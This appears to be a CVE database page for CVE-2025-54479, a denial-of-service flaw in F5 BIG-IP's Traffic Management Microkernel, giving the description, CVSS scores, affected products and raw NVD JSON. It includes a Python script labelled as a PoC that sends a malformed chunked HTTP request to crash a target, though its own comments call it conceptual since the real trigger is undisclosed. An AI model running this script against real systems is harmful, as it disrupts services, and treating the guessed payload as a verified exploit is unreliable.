Security Vulnerability Report
中文
CVE-2025-54479 CVSS 7.5 HIGH

CVE-2025-54479

Published: 2025-10-15 14:15:49
Last Modified: 2025-10-21 19:50:56

Description

When a classification profile is configured on a virtual server without an HTTP or HTTP/2 profile, undisclosed requests can cause the Traffic Management Microkernel (TMM) to terminate. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:f5:big-ip_next_cloud-native_network_functions:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_next_cloud-native_network_functions:2.0.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_next_cloud-native_network_functions:2.0.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_next_cloud-native_network_functions:2.0.2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_next_cloud-native_network_functions:2.1.0:*:*:*:*:*:*:* - VULNERABLE
F5 BIG-IP(具体受影响的版本请参考F5官方安全公告K000151475)
已停止技术支持(EoTS)的版本不在评估范围内

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54479 - F5 BIG-IP TMM DoS PoC # Vulnerability: TMM termination when classification profile configured without HTTP/HTTP2 profile # Attack Vector: Network (unauthenticated) # Note: This is a conceptual PoC. The exact trigger request is undisclosed by F5. import socket import struct import sys import argparse def send_malicious_request(target_host, target_port, virtual_ip=None): """ Send a crafted request to trigger TMM termination on vulnerable BIG-IP virtual server. The virtual server must have a classification profile configured without HTTP/HTTP2 profile. """ try: # Create raw socket connection to the BIG-IP virtual server sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Craft a request that triggers the undisclosed TMM bug # The classification profile without HTTP/HTTP2 parsing layer # cannot properly handle certain protocol-level anomalies payload = b"GET / HTTP/1.1\r\n" payload += b"Host: " + target_host.encode() + b"\r\n" # Trigger classification engine with malformed/edge-case headers # that bypass normal HTTP parsing but engage classification logic payload += b"X-Forwarded-For: 127.0.0.1\r\n" payload += b"Content-Type: application/octet-stream\r\n" payload += b"Transfer-Encoding: chunked\r\n" # Malformed chunked encoding to trigger classification profile edge case payload += b"\r\n" payload += b"0\r\n" payload += b"\x00" * 16 # Null bytes to trigger parsing anomaly payload += b"\r\n\r\n" sock.send(payload) # Attempt to receive response (may not arrive if TMM crashes) try: response = sock.recv(4096) print(f"[*] Response received ({len(response)} bytes)") except socket.timeout: print("[*] No response received - possible TMM termination") sock.close() except ConnectionRefusedError: print("[!] Connection refused - service may already be down (TMM crashed)") except Exception as e: print(f"[!] Error: {e}") def check_vulnerability(target_host, target_port): """Check if the target BIG-IP virtual server is potentially vulnerable.""" print(f"[*] Testing {target_host}:{target_port} for CVE-2025-54479") print("[*] Target must have classification profile WITHOUT HTTP/HTTP2 profile") # Send probe request send_malicious_request(target_host, target_port) # Verify if TMM is still responsive print("[*] Checking if TMM is still responsive...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_host, target_port)) sock.send(b"GET / HTTP/1.1\r\nHost: test\r\n\r\n") sock.recv(1024) sock.close() print("[+] TMM appears to still be running") except: print("[-] TMM appears to have terminated - target is VULNERABLE") if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-54479 PoC - F5 BIG-IP TMM DoS") parser.add_argument("target", help="Target BIG-IP host or IP") parser.add_argument("-p", "--port", type=int, default=80, help="Target port (default: 80)") args = parser.parse_args() check_vulnerability(args.target, args.port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54479", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:49.360", "lastModified": "2025-10-21T19:50:56.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When a classification profile is configured on a virtual server without an HTTP or HTTP/2 profile, undisclosed requests can cause the Traffic Management Microkernel (TMM) to terminate. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_cloud-native_network_functions:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.1.0", "versionEndIncluding": "1.4.0", "matchCriteriaId": "4EB93DF6-780A-46E1-9C64-984DEDB2DAB9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_cloud-native_network_functions:2.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "EB7D571A-1763-49AA-958D-046807EADAED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_cloud-native_network_functions:2.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "222BB50C-4D29-485E-A04A-7CF9832E7F70"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_cloud-native_network_functions:2.0.2:*:*:*:*:*:*:*", "matchCriteriaId": "ED04D2F7-17EF-4829-972E-FA9C702D5892"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_cloud-native_network_functions:2.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "43E65F4F-42C6-41CB-A4E9-096C81F9EA3D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_for_kubernetes:2.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "AB9960E8-26E9-48E2-A398-7076A8B994DA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_for_kubernetes:2.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "4954CB01-8419-436E-9D83-384C0C56510F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_policy_enforcement_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.10.8", "matchCriteriaId": "DB854FAF-E3B8-4D94-8346-57B73D5B95FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_policy_enforcement_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.1.0", "versionEndExcluding": "16.1.6.1", "matchCriteriaId": "FE263046-0C37-4DEC-A2BD-9056534F497D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_policy_enforcement_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.1.0", "versionEndExcluding": "17.1.3", "matchCriteriaId": "022E0278-5754-4C93-9B54-1BAB3948A534"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_policy_enforcement_manager:17.5.0:*:*:*:*:*:*:*", "matchCriteriaId": "33EC429B-1C44-4720-82AD-7D4AABC8FE9E"}]}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000151475", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}